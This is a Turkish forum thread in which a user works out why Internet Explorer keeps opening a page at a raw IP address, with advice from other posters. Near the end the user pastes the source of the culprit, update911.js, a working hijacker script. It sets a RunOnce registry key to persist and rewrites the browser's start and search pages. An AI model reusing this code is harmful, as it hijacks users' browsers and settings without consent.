internet explorer ve su url -Sorun cozuldu-

Question

Herkese merhaba,
.http://81.211.105.9/index.php?v=1 :((((
arkadaslar bu url benim explorer'in baslangic sayfasina yerlesiyor ve malum her calistirdigimda bu url ile geliyor. E ben bunu explorerdan sildim olmadi. Regeditten internet explorerla ilgili bolume girip sildim yine olmadi. ADawareyi denedim bu hic banamisin demedi ve hala israrla cikmakta devam ediyor. Bunu nasil silecegimi biri bana soylesin. Saygilar

Answer

başlat--> Çalıştır--> msconfig yaz
ordaki Başlangıç sekmesindeki dosyaların ismini bi kağıda yaz
sonra hepsini buraya yaz
muhakkak kendini başlangıçtan çağırtıyor olmalı
virus işine benziyor

Answer

ikeymain c:/progra~1/a4tech... Amoumain '' '' '' '' Nvcpl Rundll32.exe c:/wi... nwiz nwiz.exe /install Lmonitor c:/progra~1/... Soundman soundman.exe nvmctray rundll32 c:/wi.. ctfmon c:/windows/system... popup c:/progra~1/tweakxp... adblocker '' ''' ' ' ' Getright pcalert4 Ubisoft Register ve search diye bir sekme var. c:/documents and settings/... diyerek gidiyor. Bunun onceden cek isaretini kaldirmistim. Ama yine banamisin demedi. Yani baba kafamin almadigi registry den silmeme karsin ki manuel olarak tek tek aradim.Ama hala banamisin demiyor yaw. Bu sayfada umaxsearch diye bir siteye baglaniyor. Bazen google birseyler aratiyorum arattigim sitelerden birinin uzerine gelip tikladigimda bu site aciliyor ve kendi kendine benim aradigim seyi kendisi search etmeye basliyor. :(((( kafayii yiyiyiyceeemmm

Answer

ikeymain c:/progra~1/a4tech... Amoumain '' '' '' '' Nvcpl Rundll32.exe c:/wi... nwiz nwiz.exe /install Lmonitor c:/progra~1/... Soundman soundman.exe nvmctray rundll32 c:/wi.. ctfmon c:/windows/system... popup c:/progra~1/tweakxp... adblocker '' ''' ' ' ' Getright pcalert4 Ubisoft Register ve search diye bir sekme var. c:/documents and settings/... diyerek gidiyor. Bunun onceden cek isaretini kaldirmistim. Ama yine banamisin demedi. Yani baba kafamin almadigi registry den silmeme karsin ki manuel olarak tek tek aradim.Ama hala banamisin demiyor yaw. Bu sayfada umaxsearch diye bir siteye baglaniyor. Bazen google birseyler aratiyorum arattigim sitelerden birinin uzerine gelip tikladigimda bu site aciliyor ve kendi kendine benim aradigim seyi kendisi search etmeye basliyor. :(((( kafayii yiyiyiyceeemmm

Answer

soundman.exe ne dostum tanıdık mı?

Answer

soundman büyük ihtimal onboard Avance sesindir (bunu exploit eden bi virus cikmadiysa tabii :) ). Registry'ye bakınca aynı oturumda diger yerlere (msconfig fln) de bak. Yani bir defa da hem kontrol hem antivirus. Yoksa reg'den sildigin bir dahaki sefere baska yerden acilabilir.

Answer

slm arkadaslar,
bugun makinanin basina oturdum. Yine kontrol namina. Program filesin icine baktigimda searchassistant diye bir dizin vardi. birde orbit diye bir dizin vardi. Bu orbitin ayrica common files dizininde OE diye paylastigi bir dizin vardi. Neyse bunlari sildim. REgisterdan da kaldirdim. Sonra yine olmadi. Cok ilginc makinayi resetledim geri actim bu sefer msconfigten bir baktim ITE.exe diye bir dosya windows dizininden calistiriliyor. Registerdan yine bir kurcaladim buda bu orbit diziniyle alakali birsey cikti. Sonra N-case diye bir dizin cikti. Ad-aware bunun icin winsock32.dll 'le bir iliskisi oldugunu ve zarar seviyesinide HIGH olarak gosteriyordu. Neyse uzatmayim anlattiklarimla ilgili herseyi msconfig ve registerdan yok ettim. Norton 2003'u kurdum o da birsey bulamadi. Neyse daha format atali 2 hafta olmustu. Yine formatlayacagiz heralde.
Ayrica Soundman su msi anakartlarin onboard sesiyle ilgili bir prg.
SAygilar oguz.

Answer

Arkadaslar sorunu buldum. Sorun update911.js adli bir dosyadan kaynaklaniyormus. Windows dizinine yerlesmis ve makina her acilista bunu otomatik olarak yukluyor. Valla bu scriptti kim yazdiysa onu iyi edecem ama nasil bulucam:)) Neyse basinizi agrittigim icin kusura bakmayin.
Scripttin kodunu buraya yaziyorum. Ilgilenenler bakabilir.
/var url = "http://81.211.105.9/index.php?v=1";
/var burl = "http://81.211.105.9/search.php?v=1";
/var fso = new ActiveXObject("Scripting.FileSystemObject");
/var tfolder = fso.GetSpecialFolder(0);
/var filepath = tfolder + "\\update911.js";
/var Shell = new ActiveXObject("WScript.Shell");
/Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\tlc",filepath);
/Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",url);
/Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page",url);
/Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",burl);
/Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst","no");
/Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD");
saglicakla kalin.

Answer

Halletmişsin gibi görünüyo, Orbiteplorer galiba İnternet Optimizer' in yeni bir tipi, o bulaşmış bide Ncase''i kaldırmak için küçük bi NCase Uninstaller vardı bunlarla bidaha olmuo, kolay gelsin..

Answer

sorunun hallolmuş hadi gözün aydın ilerde böyle bi sorunla karşılaşırsan yine yaz yardım ederiz sen de sağlıcakla kal

internet explorer ve su url -Sorun cozuldu-

Benzer içerikler